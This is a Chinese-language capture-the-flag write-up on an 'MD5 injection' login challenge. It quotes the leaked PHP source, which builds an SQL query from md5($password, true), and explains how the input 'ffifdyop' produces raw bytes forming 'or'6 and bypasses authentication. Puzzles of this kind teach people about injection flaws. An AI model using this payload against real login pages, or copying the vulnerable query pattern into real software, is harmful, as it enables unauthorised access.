请用管理员密码进行登录(MD5注入)
时间:2018-07-14 21:51:09
小编:动力软件园
阅读:
MD5注入 原题:http://ctf5.shiyanbar.com/web/houtai/ffifdyop.php 看了别人的写的writeup 我是没明白。
<body style="background-color: #999"> <div style="position:relative;margin:0 auto;width:300px;height:200px;padding-top:100px;font-size:20px;"> <form action="" method="post"> <table> <tr> 请用管理员密码进行登录~~ </tr> <tr> <td>密码:</td><td><input type="text" name='password'></td> </tr> <tr> <td><input type="submit" name='submit' style="margin-left:30px;"></td> </tr> </table> </form> 密码错误!</div> <!-- $password=$_POST['password']; $sql = "SELECT * FROM admin WHERE username = 'admin' and password = '".md5($password,true)."'"; $result=mysqli_query($link,$sql); if(mysqli_num_rows($result)>0){ echo 'flag is :'.$flag; } else{ echo '密码错误!'; } --> </body>
看注释得到源码泄露,"SELECT * FROM admin WHERE username = 'admin' and password = '".md5($password,true)."'"
php md5()函数用法:
md5(string,raw)
raw是可选。规定二进制或十六进制输出格式:
TRUE - 原始 16 字符二进制格式
FALSE - 默认。32 字符十六进制数
代码实现:
<?php $str = "ffifdyop"; echo "二进制:".md5($str,TRUE ); echo "十六进制:".md5($str ); ?>
输出结果:
二进制:'or'6�]��!r,��b十六进制:276f722736c95d99e921722cf9ed621c
网络上大多版本是这样解释的:
当md5后的hex转换成字符串后,如果包含 ‘or’ 这样的字符串,那整个sql变成
SELECT * FROM admin WHERE pass = ''or'6<trash>'
还需要把32位的十六进制:276f722736c95d99e921722cf9ed621c结果转字符串才是'or'6�]��!r,��b
trash 英文解释 垃圾的意思 这些�]��!r,��b就是指垃圾数据
还参考了http://mslc.ctf.su/wp/leet-more-2010-oh-those-admins-writeup/原版英文的,我也没看明白英文
源码中明明是.md5($str,TRUE ) 要的16位二进制结果。
也就是找到一个字符串MD5的二进制恰好和字符编码中的某些编码对上了,就可以产生注入,原文作者找到这么一串字符串ffifdyop,md5加密后对应字符编码刚好是'or'<trash>,便产生注入
这里的原文在这
存档ffifdyop这样的字符串作为敏感字符吧。
热门阅读
-
Nessus工具使用技巧及图解教程(图文)
阅读:4410
-
WebScarab使用教程(图文)
阅读:2204
-
工行个人网上银行无法显示此页解决办法(一招搞定)
阅读:835
-
Httprint工具使用方法 自动化的http指纹分析工具
阅读:1974
-
DirBuster使用教程帮助 DirBuster图形界面的操作
阅读:1598